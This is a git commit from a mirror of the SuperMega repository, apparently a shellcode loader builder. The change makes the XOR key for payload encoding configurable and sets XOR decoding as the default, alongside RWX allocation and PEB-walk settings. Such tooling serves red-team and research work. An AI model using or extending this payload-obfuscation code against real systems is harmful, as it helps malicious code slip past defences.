mirror of
https://github.com/dobin/SuperMega
synced 2026-06-03 01:27:11 +00:00
feature: xor encoding of payload with changeable key
This commit is contained in:
@@ -9,6 +9,7 @@ class Config(object):
|
|||||||
self.data = {}
|
self.data = {}
|
||||||
self.ShowCommandOutput: bool = False
|
self.ShowCommandOutput: bool = False
|
||||||
self.debug: bool = False
|
self.debug: bool = False
|
||||||
|
self.xor_key: int = 0x31
|
||||||
|
|
||||||
def getConfigPath(self):
|
def getConfigPath(self):
|
||||||
return CONFIG_FILE
|
return CONFIG_FILE
|
||||||
|
|||||||
+1
-1
@@ -44,7 +44,7 @@ def merge_loader_payload(
|
|||||||
# Nothing to do
|
# Nothing to do
|
||||||
pass
|
pass
|
||||||
elif decoder_style == DecoderStyle.XOR_1:
|
elif decoder_style == DecoderStyle.XOR_1:
|
||||||
xor_key = 0x42
|
xor_key = config.xor_key
|
||||||
logger.info("---[ XOR payload with key 0x{:x}".format(xor_key))
|
logger.info("---[ XOR payload with key 0x{:x}".format(xor_key))
|
||||||
payload_data = bytes([byte ^ xor_key for byte in payload_data])
|
payload_data = bytes([byte ^ xor_key for byte in payload_data])
|
||||||
|
|
||||||
|
|||||||
@@ -45,6 +45,7 @@ def create_c_from_template(
|
|||||||
plugin_decoder = file.read()
|
plugin_decoder = file.read()
|
||||||
plugin_decoder = Template(plugin_decoder).render({
|
plugin_decoder = Template(plugin_decoder).render({
|
||||||
'PAYLOAD_LEN': payload_len,
|
'PAYLOAD_LEN': payload_len,
|
||||||
|
'XOR_KEY': config.xor_key,
|
||||||
})
|
})
|
||||||
|
|
||||||
filepath = "plugins/executor/{}.c".format(exec_style.value)
|
filepath = "plugins/executor/{}.c".format(exec_style.value)
|
||||||
|
|||||||
@@ -1,4 +1,4 @@
|
|||||||
for (int n=0; n<{{PAYLOAD_LEN}}; n++){
|
for (int n=0; n<{{PAYLOAD_LEN}}; n++){
|
||||||
dest[n] = supermega_payload[n];
|
dest[n] = supermega_payload[n];
|
||||||
dest[n] = dest[n] ^ 0x42;
|
dest[n] = dest[n] ^ {{XOR_KEY}};
|
||||||
}
|
}
|
||||||
+1
-1
@@ -11,7 +11,7 @@ class Project():
|
|||||||
self.source_style: SourceStyle = SourceStyle.peb_walk
|
self.source_style: SourceStyle = SourceStyle.peb_walk
|
||||||
self.alloc_style: AllocStyle = AllocStyle.RWX
|
self.alloc_style: AllocStyle = AllocStyle.RWX
|
||||||
self.exec_style: ExecStyle = ExecStyle.CALL
|
self.exec_style: ExecStyle = ExecStyle.CALL
|
||||||
self.decoder_style: DecoderStyle = DecoderStyle.PLAIN_1
|
self.decoder_style: DecoderStyle = DecoderStyle.XOR_1
|
||||||
self.dataref_style: DataRefStyle = DataRefStyle.APPEND
|
self.dataref_style: DataRefStyle = DataRefStyle.APPEND
|
||||||
self.short_call_patching: bool = False
|
self.short_call_patching: bool = False
|
||||||
|
|
||||||
|
|||||||
Reference in New Issue
Block a user